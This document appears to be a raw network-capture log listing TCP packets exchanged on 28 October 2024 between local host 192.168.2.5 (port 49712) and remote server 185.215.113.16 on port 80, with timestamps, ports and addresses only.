Oct 28, 2024 21:40:16.420022011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.420026064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.420033932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.420073986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.441508055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.441519976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.441530943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.441605091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.441670895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.441683054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.441741943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.442008018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442275047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.442317963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442430973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442441940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442523956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.442781925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442837954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.442867994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442878962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442889929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.442975044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.443356037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.443543911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.444156885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.444308996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.444320917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.444535971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.444639921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.444653034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.444663048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.444710016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.444710016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.541614056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541630030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541640043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541659117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541666031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541683912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.541727066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.541879892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541891098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541902065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541913986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541927099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541941881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541951895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.541954994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.541979074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.542053938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.543308973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543330908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543342113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543354988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543366909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543378115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543379068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.543390036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543401957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.543410063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.543981075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.546118975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546129942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546140909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546153069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546161890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.546164036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546175957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546186924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546199083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.546219110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.546236992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.547244072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547256947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547267914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547280073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547292948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547306061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547317982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.547331095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547342062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.547343969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.547468901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.548567057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.548579931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.548589945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.548602104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.548613071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.548624039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.548634052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.548635960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.548734903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.549612999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.549624920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.549635887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.549647093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.549659014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.549670935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.549681902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.549683094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.549734116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.550585985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.550597906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.550607920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.550621986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.550632954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.550674915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.550688982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.552081108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.552093029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.552103996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.552114964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.552126884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.552138090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.552146912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.552150965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.552176952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.552208900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.553392887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553406000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553415060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553426981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553437948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553450108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553455114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.553461075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553473949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553484917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553494930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.553497076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.553514957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.553596973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.554372072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554387093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554397106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554409027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554420948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554431915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554440022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.554441929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554454088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554465055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.554492950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.554527044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.555849075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.555860996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.555871010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.555881977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.555892944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.555906057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.555916071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.555917978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.555979013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.595436096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.595451117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.595463037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.595473051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.595483065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.595510960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.595607042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.596447945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.596637964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.599350929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.599364996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.599467993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.600642920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.600655079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.600665092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.600806952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.879059076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.879122019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.028048992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.035151005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.035260916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.035273075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.035515070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.036622047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.036633968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.036746979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.037344933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.037358046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.037503958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.038714886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.038727999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.038860083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.039748907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.039760113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.039771080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.039850950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.039850950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.040316105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.040327072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.040446997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.041415930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.041428089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.041544914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.041723013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.041734934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.041847944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.043148994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.043162107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.043171883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.043246031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.043591022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.043605089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.043675900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.044404984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.044418097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.044519901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.044881105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.044893980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.044970989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.045247078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.045259953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.045459986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.045783997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.045799017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.045810938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.045943022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.045960903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.046009064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.046369076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.046907902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.046921015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.047004938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.047389984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.047403097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.047477961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.048369884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.048382998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.048393011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.048532963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.049140930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.049154043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.049563885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.050043106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.050055981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.050218105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.051369905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.051383018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.051553965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.051958084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.051970959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.051980019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.052069902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.052069902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.548377037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.555553913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.556622982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.556636095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.556677103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.557717085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.557730913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.557742119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.557771921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.557789087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.558964968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.558981895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.559020996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.559714079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.559734106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.559787989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.560736895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.560759068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.560800076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.561847925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.565066099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.565079927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.565114975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.566293001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.566308022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.566346884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.567795992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.567809105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.567842960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.568947077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.568963051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.568974972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.568999052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.569014072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.569845915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.571568966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.572366953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.572379112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.572402954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.572423935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.573451042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.573466063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.573477983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.573504925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.574291945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.574305058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.574342966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.575289011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.575301886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.575349092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.576919079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.576963902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.577665091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.577677965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.577714920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.578521013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.578533888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.578571081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.579370975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.579384089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.579437017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.580338001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.580351114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.581625938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.581676960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.586704969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.588268995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.588310957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.593070030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.593085051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.593141079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.595426083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.595438957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.595449924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.595477104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.595506907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.595979929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.595993042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.596021891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.597455978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.600025892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.600183964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.600939989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.600953102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.600982904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.601757050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.601771116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.601782084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.601799011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.602905035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.602916956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:17.602946997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:17.603861094 CET	80	49712	185.215.113.16	192.168.2.5
